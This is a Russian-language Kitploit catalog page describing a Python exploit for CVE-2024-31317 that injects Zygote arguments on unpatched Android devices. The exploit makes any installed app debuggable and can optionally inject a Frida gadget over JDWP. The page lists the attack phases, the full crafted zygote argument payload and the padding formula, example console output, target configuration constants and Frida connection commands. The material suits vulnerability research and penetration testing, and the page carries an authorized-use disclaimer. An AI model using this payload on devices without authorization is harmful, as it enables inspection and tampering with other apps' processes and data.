Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Эксплойт отлаживаемого приложения | Kitploit
Инструменты/GitHubGitHub/cleov2/debuggable-app-exploit
Безопасность AndroidАнализ уязвимостейЭксплуатацияФаззингМобильная безопасностьОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Эксплойт отлаживаемого приложения

Репозиторий
1235 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-31317 Эксплойт отлаживаемого приложения

Эксплойт на Python для CVE-2024-31317 (внедрение в Zygote Android), который делает любое установленное приложение Android отлаживаемым путем внедрения вредоносных аргументов zygote через настройку hidden_api_blacklist_exemptions. Включает опциональное внедрение гаджета Frida для перехвата во время выполнения.

Обзор

Этот эксплойт использует уязвимость внедрения команд в процессе Zygote Android для запуска целевых приложений с включенным флагом debuggable. Это позволяет отладку через JDWP и инспекцию любого приложения без необходимости root-доступа или отладочной версии приложения.

Основано на исследовании: Анализ CVE-2024-31317 от Flanker

Ключевая идея: "поле runtime-flags в ZygoteArguments может быть использовано для включения атрибута debuggable приложения."

Возможности

  • Режим автоопределения – автоматически определяет UID, набор инструкций и каталог данных целевого приложения
  • Внедрение флага debuggable – устанавливает runtime-flags=65535 для включения отладки
  • Перенаправление портов JDWP – автоматически настраивает перенаправление портов JDWP после эксплуатации
  • Внедрение гаджета Frida – опциональное внедрение Frida для перехвата во время выполнения через JDWP
  • Умные точки останова – использует надежные точки останова, которые срабатывают автоматически без взаимодействия с пользователем
  • Автоустановка отладочного приложения – устанавливает вспомогательное приложение, если оно отсутствует

Требования

  • Устройство Android, уязвимое к CVE-2024-31317 (патч безопасности до июня 2024 года)
  • Установленный ADB и включенная отладка по USB
  • Python 3.10+
  • Необходимые пакеты: ppadb, jdwplib

Установка

Поместите следующие файлы в одну директорию:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Основной скрипт эксплойта
├── jdwplib.py                       # Клиентская библиотека JDWP
├── app-debug.apk                    # Отлаживаемое вспомогательное приложение
├── frida-gadget-android-*.so        # Гаджет Frida (опционально)
├── frida-gadget.config.so           # Конфигурация Frida (опционально)
└── win32/adb.exe                    # Бинарник ADB для Windows

Использование

Базовое использование

root@kitploit:~
python CVE-2024-31317-Debuggable.py

Скрипт предложит выбрать режим определения параметров:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Автоопределение параметров
[2] Жёстко заданные значения

Режим (1/2) [1]:

Что он делает

  1. Фаза 1: Извлечение startSeq

    • Запускает отлаживаемое вспомогательное приложение
    • Подключается через JDWP и извлекает значение startSeq из стековых фреймов
    • Закрывает вспомогательное приложение
  2. Фаза 2: Внедрение аргументов Zygote

    • Формирует вредоносные аргументы zygote с runtime-flags=65535 (отлаживаемое)
    • Внедряет полезную нагрузку в настройку hidden_api_blacklist_exemptions
    • Принудительно останавливает и перезапускает целевое приложение с внедрёнными аргументами
  3. Фаза 3: Постэксплуатация

    • Настраивает перенаправление портов JDWP
    • Опционально внедряет гаджет Frida для перехвата во время выполнения

Пример вывода

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Автоопределение параметров
[2] Жёстко заданные значения

Режим (1/2) [1]: 1

[INFO] Фаза 1: Извлечение startSeq
[INFO] com.debug.app уже установлено
[INFO] Установка debuggable
[INFO] Запуск com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Порт JDWP: 8700
[INFO] Приостановка VM
[INFO] Сканирование 42 фреймов
[INFO] startSeq: 123456
[INFO] Фаза 2: Эксплойт com.debug.configurator
[INFO] Определение параметров для com.debug.configurator
[INFO] UID: 10242
[INFO] Архитектура: arm64
[INFO] Данные: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Полезная нагрузка: 8765 байт
[INFO] Перезапуск цели
[INFO] Готово
[INFO] PID цели: 23456
[INFO] JDWP: 8701

Внедрить Frida? (y/N):

Конфигурация

Целевое приложение

Отредактируйте константы в начале скрипта:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Измените на пакет вашей цели
DEBUG_APP = "com.debug.app"            # Вспомогательное отлаживаемое приложение
DEBUG_APK = "app-debug.apk"            # APK-файл вспомогательного приложения

Автоопределение vs Жёстко заданные значения

Режим автоопределения (рекомендуется):

  • Использует pm list packages -U для получения UID
  • Использует dumpsys package для получения набора инструкций и каталога данных
  • Более надёжен на разных устройствах

Режим жёстко заданных значений:

  • Использует значения по умолчанию (UID=10242, arm64 и т.д.)
  • Быстрее, но менее надёжен, если устройство отличается

Внедрение гаджета Frida

После успешной эксплуатации можно опционально внедрить гаджет Frida:

root@kitploit:~
Внедрить Frida? (y/N): y

Скрипт выполнит:

  1. Отправит frida-gadget.so в /data/local/tmp/
  2. Скопирует в каталог данных приложения через run-as
  3. Установит точку останова и загрузит гаджет через JDWP
  4. Перенаправит порты 27042 и 27043

Цели точек останова

Скрипт пробует следующие точки останова в порядке надёжности:

Верхние точки останова должны срабатывать автоматически. Если они не срабатывают по таймауту, нажмите на приложение для активации запасных точек.

Подключение к Frida

После успешного внедрения:

root@kitploit:~
# Подключение к гаджету
frida -H 127.0.0.1:27042 -n Gadget

# Список процессов
frida-ps -H 127.0.0.1:27042

После эксплуатации

После успешной эксплуатации целевое приложение запускается с включённой отладкой:

  1. Подключитесь с отладчиком JDWP:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Используйте отладчик Android Studio – присоединитесь к процессу на перенаправленном порту

  3. Используйте Frida – если гаджет был внедрён через скрипт

Как это работает

Обзор уязвимости

CVE-2024-31317 – это уязвимость внедрения команд в процессе Zygote Android. Манипулируя системной настройкой hidden_api_blacklist_exemptions специально сформированными входными данными, можно внедрить произвольные аргументы zygote при запуске приложения.

Ключевые компоненты

  1. Извлечение startSeq: Каждый запуск приложения имеет уникальный порядковый номер. Мы извлекаем его из отлаживаемого приложения через JDWP, проверяя переменные стековых фреймов.

  2. Формирование полезной нагрузки: Мы формируем аргументы zygote, включая:

    root@kitploit:~
    --runtime-args
    --setuid=<целевой_uid>
    --setgid=<целевой_gid>
    --runtime-flags=65535      # Включает все флаги отладки
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<пакет>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<архитектура>
    --app-data-dir=<каталог_данных>
    --package-name=<пакет>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Внедрение: Полезная нагрузка внедряется в системную настройку с определённым отступом для Android 12+:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Активация: Принудительно останавливаем и перезапускаем целевое приложение, которое запускается с нашими внедрёнными аргументами и включённым флагом debuggable.

Внедрение Frida через JDWP

Внедрение Frida работает следующим образом:

  1. Подключаемся к отлаживаемому приложению через JDWP
  2. Устанавливаем точку останова на часто вызываемом методе
  3. При срабатывании точки останова используем Runtime.load() для загрузки разделяемой библиотеки гаджета Frida
  4. Гаджет инициализируется и начинает прослушивать порт 27042

Ограничения

  • Работает только на устройствах, уязвимых к CVE-2024-31317 (патч безопасности до июня 2024)
  • Не является root-эксплойтом – предоставляет только отлаживаемый доступ к целевому приложению
  • Внедрение Frida требует, чтобы приложение работало и попадало в точки останова
  • Некоторые сильно обфусцированные приложения могут сопротивляться перехвату Frida

Устранение неполадок

"Не удалось получить startSeq"

  • Убедитесь, что отладочное приложение правильно подписано и устанавливается
  • Попробуйте запустить эксплойт снова

"Точка останова не сработала" во время внедрения Frida

  • Нажмите на приложение, чтобы активировать точки останова касания/отрисовки
  • Убедитесь, что приложение находится на переднем плане

Отказ в подключении Frida

  • Проверьте перенаправление портов: adb forward --list
  • Повторно выполните перенаправление портов: adb forward tcp:27042 tcp:27042

Благодарности

  • Flanker (flanker017) – Оригинальное исследование и подробное описание CVE-2024-31317
  • typlo – Фрагменты кода для поиска startSeq через инспекцию JDWP
  • Anonymous941 – Эталонная реализация набора инструментов для внедрения в Zygote
  • Meta X Red Team – Оригинальное обнаружение и раскрытие уязвимости

Ссылки

  • Детальный анализ CVE-2024-31317 – Flanker
  • Уведомление безопасности Meta
  • Writeup на InfoSec
  • Набор инструментов для внедрения в Zygote от Anonymous941
  • Документация Frida

Отказ от ответственности

Этот инструмент предназначен только для образовательных и авторизованных исследовательских целей в области безопасности. Используйте его только на устройствах, которыми вы владеете, или на которые имеете явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам является незаконным и неэтичным. Авторы не несут ответственности за любое неправомерное использование этого инструмента.

Лицензия

Лицензия MIT – подробности см. в файле LICENSE.

Скачать инструмент
КлассМетодТриггер
android.os.MessageQueuenextАвто – главный Looper опрашивает постоянно
android.os.BinderexecTransactАвто – любой IPC/Binder вызов
android.app.ActivityThreadhandleMessageАвто – главный обработчик приложения
android.os.HandlerdispatchMessageАвто – диспетчеризация сообщений
android.os.HandlerhandleMessageАвто – обработка сообщений
android.view.ChoreographerdoFrameАвто – колбэки кадров
android.view.ViewdispatchTouchEventВручную – требуется касание
android.view.ViewonDrawВручную – требуется перерисовка UI